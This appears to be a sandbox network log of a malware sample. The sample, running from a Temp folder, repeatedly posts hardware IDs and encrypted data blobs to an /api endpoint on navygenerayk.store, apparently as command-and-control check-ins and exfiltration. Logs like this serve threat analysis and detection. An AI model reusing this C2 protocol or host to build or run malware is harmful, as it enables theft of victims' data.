2024-11-08 14:22:00 UTC	1369	IN	Data Raw: 57 65 45 50 44 79 49 46 75 47 77 56 4e 4f 6f 32 73 63 36 6c 65 44 6c 73 54 6f 59 49 6d 66 2b 71 63 73 63 45 71 67 57 55 41 57 67 4b 49 59 34 64 39 5a 59 37 62 70 53 30 2b 32 51 6a 7a 71 4f 6f 62 48 31 45 41 38 72 61 4f 32 39 37 41 6b 55 39 31 5a 41 52 62 5a 6b 6b 7a 6f 79 6a 68 53 67 2b 42 6a 5a 38 4e 54 66 66 62 79 33 76 62 45 43 54 44 59 68 37 72 53 2b 51 31 4c 32 57 31 31 48 74 6d 69 41 4e 7a 4f 46 48 2b 61 77 57 64 33 74 6c 34 49 37 6a 4b 43 78 2b 78 6f 4b 4a 57 2f 6b 76 76 6f 64 46 4c 6b 59 44 30 79 68 4b 4e 6c 30 42 59 4d 57 36 62 56 65 30 2f 36 38 74 6e 32 53 37 71 53 78 47 67 35 76 4f 61 6d 38 39 52 4d 65 2f 46 35 4b 53 72 46 69 69 54 73 34 6e 42 6e 76 76 31 2f 56 35 5a 75 4a 4f 49 4f 79 75 76 6f 57 43 69 5a 76 37 2f 69 77 57 78 58 68 46 68 63 4c Data Ascii: WeEPDyIFuGwVNOo2sc6leDlsToYImf+qcscEqgWUAWgKIY4d9ZY7bpS0+2QjzqOobH1EA8raO297AkU91ZARbZkkzoyjhSg+BjZ8NTffby3vbECTDYh7rS+Q1L2W11HtmiANzOFH+awWd3tl4I7jKCx+xoKJW/kvvodFLkYD0yhKNl0BYMW6bVe0/68tn2S7qSxGg5vOam89RMe/F5KSrFiiTs4nBnvv1/V5ZuJOIOyuvoWCiZv7/iwWxXhFhcL
2024-11-08 14:22:00 UTC	1369	IN	Data Raw: 77 77 68 68 7a 75 70 46 6e 52 71 4e 72 48 4f 70 58 67 35 62 45 73 46 43 68 6d 35 76 72 58 48 41 6e 34 58 45 78 41 74 53 69 65 65 69 37 4f 48 2b 7a 32 41 4a 37 6c 6d 49 6f 35 6e 36 79 39 38 52 51 46 4a 58 50 6d 74 2f 4d 59 45 76 78 45 54 6c 6d 32 59 34 51 33 4d 34 45 58 37 4c 35 53 6e 71 62 55 67 43 58 4e 2b 50 33 64 48 68 4d 6c 49 38 36 69 36 42 77 65 36 46 31 43 52 2f 6c 33 7a 79 31 33 69 52 53 67 37 68 6a 65 36 5a 6d 56 4f 49 79 71 74 2f 77 56 44 53 70 6b 35 72 7a 36 45 42 7a 72 57 45 42 4c 76 32 4f 41 4d 54 53 46 45 75 36 2f 53 70 36 6d 31 49 41 6c 7a 66 6a 39 32 77 59 44 49 6d 32 72 6c 76 55 4e 46 62 74 33 51 55 43 2b 5a 4a 64 30 4b 4d 41 42 6f 4c 46 55 6e 72 44 55 6a 6a 4f 42 6f 37 72 35 46 51 63 76 61 75 6d 33 39 42 55 56 36 31 78 44 51 61 74 6e 67 Data Ascii: wwhhzupFnRqNrHOpXg5bEsFChm5vrXHAn4XExAtSieei7OH+z2AJ7lmIo5n6y98RQFJXPmt/MYEvxETlm2Y4Q3M4EX7L5SnqbUgCXN+P3dHhMlI86i6Bwe6F1CR/l3zy13iRSg7hje6ZmVOIyqt/wVDSpk5rz6EBzrWEBLv2OAMTSFEu6/Sp6m1IAlzfj92wYDIm2rlvUNFbt3QUC+ZJd0KMABoLFUnrDUjjOBo7r5FQcvaum39BUV61xDQatng
2024-11-08 14:22:00 UTC	1369	IN	Data Raw: 48 72 71 38 59 32 65 54 55 33 33 32 4e 70 4c 48 79 47 67 77 67 62 4f 61 2f 39 52 51 59 39 30 52 41 54 72 46 6b 69 54 6b 6c 68 42 4c 79 76 31 48 54 35 70 79 56 50 73 33 75 2f 66 59 46 51 6e 63 68 32 37 4c 39 46 77 54 30 57 51 39 55 39 33 48 42 4d 7a 76 4f 51 4b 43 6b 53 74 37 6a 6c 49 41 7a 6e 36 47 31 2f 68 63 43 4b 57 72 6a 75 2f 63 66 48 50 42 51 54 6b 61 34 61 59 45 78 4e 34 63 4b 37 66 59 57 6e 75 2b 4d 78 32 58 4e 6c 37 48 36 4c 41 45 35 49 66 62 32 35 31 73 56 39 52 59 58 43 37 68 36 6a 44 77 7a 6a 68 58 6d 76 56 6e 66 36 35 53 48 50 6f 32 6c 74 76 34 62 42 53 4a 72 34 4c 48 73 45 78 62 72 56 6b 4e 50 2b 53 62 42 4d 79 2f 4f 51 4b 43 47 57 39 58 6b 6c 49 6f 6f 7a 62 2f 7a 36 46 30 46 49 79 47 78 2b 50 59 51 47 66 39 64 54 45 69 33 59 34 73 37 4f 49 Data Ascii: Hrq8Y2eTU332NpLHyGgwgbOa/9RQY90RATrFkiTklhBLyv1HT5pyVPs3u/fYFQnch27L9FwT0WQ9U93HBMzvOQKCkSt7jlIAzn6G1/hcCKWrju/cfHPBQTka4aYExN4cK7fYWnu+Mx2XNl7H6LAE5Ifb251sV9RYXC7h6jDwzjhXmvVnf65SHPo2ltv4bBSJr4LHsExbrVkNP+SbBMy/OQKCGW9XklIoozb/z6F0FIyGx+PYQGf9dTEi3Y4s7OI
2024-11-08 14:22:00 UTC	1369	IN	Data Raw: 54 74 2f 6c 6e 34 74 2f 6a 4b 32 74 39 6c 31 4d 62 32 65 70 34 4b 35 56 55 76 31 48 44 78 50 70 4f 74 70 68 5a 4e 6c 49 73 71 6b 57 78 36 69 43 78 32 58 66 37 76 33 6a 58 56 70 76 4a 75 71 71 37 42 30 52 37 31 55 49 64 59 64 49 69 6a 67 30 67 68 6e 6e 39 68 61 65 35 39 54 66 42 4d 32 6a 72 2b 4e 53 45 7a 6c 73 2b 62 2b 79 45 77 50 30 57 67 38 46 2b 53 53 46 50 7a 75 4c 48 2f 44 35 53 73 37 6a 6d 4a 46 78 69 62 4c 39 76 31 30 54 4a 47 37 37 74 76 6c 55 41 2b 39 62 58 30 69 38 62 38 30 38 4a 6f 4d 55 6f 50 67 59 79 2b 4f 59 67 54 43 59 37 36 7a 6e 48 68 51 6f 4c 65 47 70 38 78 64 53 78 68 67 50 55 2f 6b 77 77 51 45 30 67 42 62 6e 6f 45 6d 54 79 4a 2b 4c 50 6f 47 68 75 72 46 54 51 69 6b 68 73 65 75 77 57 78 62 6f 46 68 63 62 36 7a 50 55 5a 32 44 65 53 76 2f Data Ascii: Tt/ln4t/jK2t9l1Mb2ep4K5VUv1HDxPpOtphZNlIsqkWx6iCx2Xf7v3jXVpvJuqq7B0R71UIdYdIijg0ghnn9hae59TfBM2jr+NSEzls+b+yEwP0Wg8F+SSFPzuLH/D5Ss7jmJFxibL9v10TJG77tvlUA+9bX0i8b808JoMUoPgYy+OYgTCY76znHhQoLeGp8xdSxhgPU/kwwQE0gBbnoEmTyJ+LPoGhurFTQikhseuwWxboFhcb6zPUZ2DeSv/
2024-11-08 14:22:00 UTC	1369	IN	Data Raw: 49 4c 48 5a 64 37 75 2f 65 4e 64 57 6d 38 6d 35 37 58 2f 47 42 7a 36 52 46 31 4e 75 6e 36 43 63 77 6d 77 50 65 32 37 58 64 44 76 71 72 6b 63 68 37 43 77 2f 68 6f 38 45 56 62 34 76 2b 35 5a 4e 50 70 41 54 41 76 33 4b 4a 6c 30 62 38 34 35 36 71 5a 56 30 65 2f 55 79 58 32 4a 34 4f 57 78 4f 41 38 69 5a 4f 65 2f 76 44 6f 59 36 56 74 41 54 50 6b 6d 77 54 68 33 31 6c 6a 68 76 45 6a 54 35 35 50 4c 4f 70 65 6e 2f 62 39 64 44 47 38 35 71 62 6e 30 43 78 2f 32 55 51 4e 4e 74 32 62 42 4b 33 6d 58 57 50 62 32 41 49 32 6d 31 4a 56 39 31 65 44 36 2f 78 41 44 4c 47 2f 71 71 75 77 64 45 65 39 56 43 48 57 48 54 59 77 35 4d 6f 41 66 33 6f 68 35 31 50 69 5a 69 44 72 50 67 4c 72 6e 48 6a 77 52 56 76 69 2f 37 6c 6b 30 2b 6b 42 4d 43 2f 63 6f 6d 58 52 76 7a 6a 6e 71 70 6c 58 52 Data Ascii: ILHZd7u/eNdWm8m57X/GBz6RF1Nun6CcwmwPe27XdDvqrkch7Cw/ho8EVb4v+5ZNPpATAv3KJl0b8456qZV0e/UyX2J4OWxOA8iZOe/vDoY6VtATPkmwTh31ljhvEjT55PLOpen/b9dDG85qbn0Cx/2UQNNt2bBK3mXWPb2AI2m1JV91eD6/xADLG/qquwdEe9VCHWHTYw5MoAf3oh51PiZiDrPgLrnHjwRVvi/7lk0+kBMC/comXRvzjnqplXR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49852	188.114.96.3	443	7432	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:00 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12851 Host: navygenerayk.store
2024-11-08 14:22:01 UTC	12851	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:01 UTC	1012	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=42pr23a8uuuoaibruehgvolai5; expires=Tue, 04-Mar-2025 08:08:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mWT%2F3BnV9slhwImttCsVJRkGfM3zfux4oQbgESzRorjaU39lo2GVTTMlOHXMo809gT38zBwb9vjqsraZVrg1wIwgohbrLNjQ0xl6GAtsHes4ON1xD0rUX9PEyFYNf3w3k0dorr0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df63678ac1de962-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1328&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13793&delivery_rate=2172543&cwnd=251&unsent_bytes=0&cid=685f076d48b166ae&ts=530&x=0"
2024-11-08 14:22:01 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-11-08 14:22:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	49854	188.114.96.3	443	7432	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:02 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19123 Host: navygenerayk.store
2024-11-08 14:22:02 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:02 UTC	3792	OUT	Data Raw: a5 ca 92 a3 98 fe cd 2c 28 46 14 10 27 12 c6 05 04 46 88 84 fa 4a 57 99 06 95 e2 72 95 52 92 83 cb 84 a1 91 71 a2 10 51 8c 30 32 2a 4e 18 19 1f 11 e1 9e a1 c2 70 49 16 9a 2f 8c 13 25 c6 19 aa 71 95 5a 92 a6 91 2a 50 09 06 be 7b 9a 78 40 09 da de a8 ca 95 66 e7 bc 59 87 2a 65 9a 7c 35 8e a6 4a ba 5b 03 23 a2 02 0d ad 6a 29 9e f1 66 87 3c b5 5c 83 62 a6 c9 ca 31 09 86 ca 72 34 a8 c9 a6 0c 1c 57 ab 94 d9 f9 7d 1b b3 a5 c0 49 a9 4c 86 62 fd 0c 9c 21 c5 24 7a cb 26 87 56 a3 1a 4c 8e e1 a8 12 ef db ac d6 c8 55 1a 39 6e c2 2c 06 e6 88 98 3e 13 2d aa 1c 8d 0c cc ad 2c 03 55 f4 df ac 56 69 70 d3 93 40 2c 8c 5a aa c1 fb f3 35 47 9d 2a 05 cb 66 d2 57 21 18 00 4d 4d 47 b3 d1 74 a9 2c bf 3b 4a 7a 9e 0a 16 4d 0a 88 8f 88 13 7a b9 0b 53 34 aa e9 18 aa 91 a8 35 aa 5c 54 Data Ascii: ,(F'FJWrRqQ02NpI/%qZP{x@fYe\|5J[#j)f<\b1r4W}ILb!$z&VLU9n,>-,UVip@,Z5GfW!MMGt,;JzMzS45\T
2024-11-08 14:22:03 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lu3qssm115tdqggr4vtmmrv3bd; expires=Tue, 04-Mar-2025 08:08:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QkF0cJkjJ%2Bt%2B9VpLw7kiO4t4m4vtaCcdsgbm%2B56X1NndKn%2F10dP0wKb3Pl9d%2FylykpYJ0QNbpJm9y%2B8vkou4YobMI2wdtMhVUr7Il7FACEOH94BJORMfy8Ood%2FklYN9wWoP%2BeY8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df636834fb1e7df-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1351&sent=9&recv=22&lost=0&retrans=0&sent_bytes=2846&recv_bytes=20087&delivery_rate=2075985&cwnd=251&unsent_bytes=0&cid=8dc26fa2229ad37b&ts=917&x=0"
2024-11-08 14:22:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-11-08 14:22:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	49855	188.114.96.3	443	7432	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:04 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20247 Host: navygenerayk.store
2024-11-08 14:22:04 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:04 UTC	4916	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8
2024-11-08 14:22:05 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qd3pcq7skhslthdvi236elat2d; expires=Tue, 04-Mar-2025 08:08:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xb0ACXzmX%2Fn7%2BD76VQT%2BDPau6ygZIiutxG5aS6Y4BVpcFReG8vE4suhrHae7XAp4oZbzHADWmNf3%2B00rTRCRPw0G%2BlCheU%2F52pSGwpFEcXbYbq7OUOIG8BOfAwlj06M7LSBfLyk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df636902adae702-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1144&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21211&delivery_rate=2431570&cwnd=251&unsent_bytes=0&cid=f79e8a4f1fcf178e&ts=957&x=0"
2024-11-08 14:22:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-11-08 14:22:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	49858	188.114.96.3	443	7432	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:07 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1249 Host: navygenerayk.store
2024-11-08 14:22:07 UTC	1249	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:08 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9em86aa1juqra6r1m1srjth5h4; expires=Tue, 04-Mar-2025 08:08:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kWzrQ3CvEri1FxKJgL%2BKzzGFqoRQU54N6MDGRGModrK7rOpd%2FiHBmP02IiTA9Gm0oJyBpOswPX7QP85mnMTNa8VON%2BKOEgsSHu8DSHHsVZ7eey8GDgcxnhGuzGHjX9rIwCEnepE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df636a099bfeaf2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1139&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2168&delivery_rate=2441821&cwnd=250&unsent_bytes=0&cid=2b47e206ed9ba647&ts=715&x=0"
2024-11-08 14:22:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-11-08 14:22:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	49862	172.64.41.3	443	8256	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:07 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-08 14:22:07 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-08 14:22:07 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 08 Nov 2024 14:22:07 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8df636a2aa5a6b53-DFW alt-svc: h3=":443"; ma=86400
2024-11-08 14:22:07 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fd 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.8	49860	172.64.41.3	443	8256	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:07 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-08 14:22:07 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
